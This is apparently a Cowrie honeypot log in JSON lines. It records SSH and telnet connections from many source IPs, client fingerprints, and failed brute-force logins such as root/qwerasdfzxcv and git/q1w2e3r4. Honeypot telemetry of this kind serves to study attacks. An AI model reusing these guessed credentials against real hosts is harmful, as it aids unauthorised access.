{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:27.274539Z","src_ip":"122.176.122.24","session":"72ec1038a5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.18805980682373,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:29.437581Z","src_ip":"107.6.151.170","session":"c26fdaf57fd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43990,"dst_ip":"159.203.135.109","dst_port":22,"session":"72612c63efe3","protocol":"ssh","message":"New connection: 103.27.238.116:43990 (159.203.135.109:22) [session: 72612c63efe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:29.566452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:29.570172Z","src_ip":"103.27.238.116","session":"72612c63efe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:29.849786Z","src_ip":"103.27.238.116","session":"72612c63efe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1997","message":"login attempt [root/marina1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:30.682070Z","src_ip":"103.27.238.116","session":"72612c63efe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:31.961100Z","src_ip":"103.27.238.116","session":"72612c63efe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49082,"dst_ip":"10.17.0.5","dst_port":22,"session":"610eb068de0e","protocol":"ssh","message":"New connection: 8.210.75.243:49082 (10.17.0.5:22) [session: 610eb068de0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.842727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.846615Z","src_ip":"8.210.75.243","session":"610eb068de0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53488,"dst_ip":"10.17.0.5","dst_port":22,"session":"c455441148a9","protocol":"ssh","message":"New connection: 103.27.238.120:53488 (10.17.0.5:22) [session: c455441148a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.915169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.918960Z","src_ip":"103.27.238.120","session":"c455441148a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35164,"dst_ip":"10.17.0.5","dst_port":22,"session":"138c9c52a23f","protocol":"ssh","message":"New connection: 91.92.40.4:35164 (10.17.0.5:22) [session: 138c9c52a23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.991735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:44.997796Z","src_ip":"91.92.40.4","session":"138c9c52a23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:45.078263Z","src_ip":"91.92.40.4","session":"138c9c52a23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:45.188957Z","src_ip":"103.27.238.120","session":"c455441148a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"q1w2e3r4","message":"login attempt [git/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:45.322831Z","src_ip":"91.92.40.4","session":"138c9c52a23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02031994","message":"login attempt [root/02031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:45.999033Z","src_ip":"103.27.238.120","session":"c455441148a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:46.405293Z","src_ip":"91.92.40.4","session":"138c9c52a23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:47.299873Z","src_ip":"103.27.238.120","session":"c455441148a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32944,"dst_ip":"10.17.0.5","dst_port":22,"session":"30121f15ef39","protocol":"ssh","message":"New connection: 8.210.75.243:32944 (10.17.0.5:22) [session: 30121f15ef39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:58.344858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:59.877333Z","src_ip":"8.210.75.243","session":"30121f15ef39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00346660614014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:01.830003Z","src_ip":"170.64.224.25","session":"d69281813f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":35478,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e9d3b9f0c5","protocol":"ssh","message":"New connection: 87.106.29.151:35478 (10.17.0.5:22) [session: 56e9d3b9f0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:19.907396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:19.911756Z","src_ip":"87.106.29.151","session":"56e9d3b9f0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:20.009062Z","src_ip":"87.106.29.151","session":"56e9d3b9f0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdfzxcv","message":"login attempt [root/qwerasdfzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:20.417797Z","src_ip":"87.106.29.151","session":"56e9d3b9f0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":43926,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac3833b44f5c","protocol":"ssh","message":"New connection: 152.200.205.179:43926 (10.17.0.5:22) [session: ac3833b44f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:21.482149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:21.486260Z","src_ip":"152.200.205.179","session":"ac3833b44f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:21.513784Z","src_ip":"87.106.29.151","session":"56e9d3b9f0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:21.579165Z","src_ip":"152.200.205.179","session":"ac3833b44f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa@WS3ed","message":"login attempt [root/1qa@WS3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:21.980004Z","src_ip":"152.200.205.179","session":"ac3833b44f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":58946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ceef1e97ac9","protocol":"ssh","message":"New connection: 105.27.148.94:58946 (10.17.0.5:22) [session: 8ceef1e97ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:22.337731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:22.342304Z","src_ip":"105.27.148.94","session":"8ceef1e97ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:22.557686Z","src_ip":"105.27.148.94","session":"8ceef1e97ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:23.075537Z","src_ip":"152.200.205.179","session":"ac3833b44f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa@WS3ed","message":"login attempt [root/1qa@WS3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:23.454347Z","src_ip":"105.27.148.94","session":"8ceef1e97ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:24.672875Z","src_ip":"105.27.148.94","session":"8ceef1e97ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45032,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0de0df733bc","protocol":"ssh","message":"New connection: 8.210.75.243:45032 (10.17.0.5:22) [session: c0de0df733bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:27.232788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:27.978566Z","src_ip":"8.210.75.243","session":"c0de0df733bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:28.456609Z","src_ip":"8.210.75.243","session":"c0de0df733bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":33046,"dst_ip":"10.17.0.5","dst_port":22,"session":"48044353f097","protocol":"ssh","message":"New connection: 152.67.46.203:33046 (10.17.0.5:22) [session: 48044353f097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:36.789689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:36.793682Z","src_ip":"152.67.46.203","session":"48044353f097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:36.905755Z","src_ip":"152.67.46.203","session":"48044353f097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:37.390957Z","src_ip":"152.67.46.203","session":"48044353f097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:38.509730Z","src_ip":"152.67.46.203","session":"48044353f097","protocol":"ssh"}
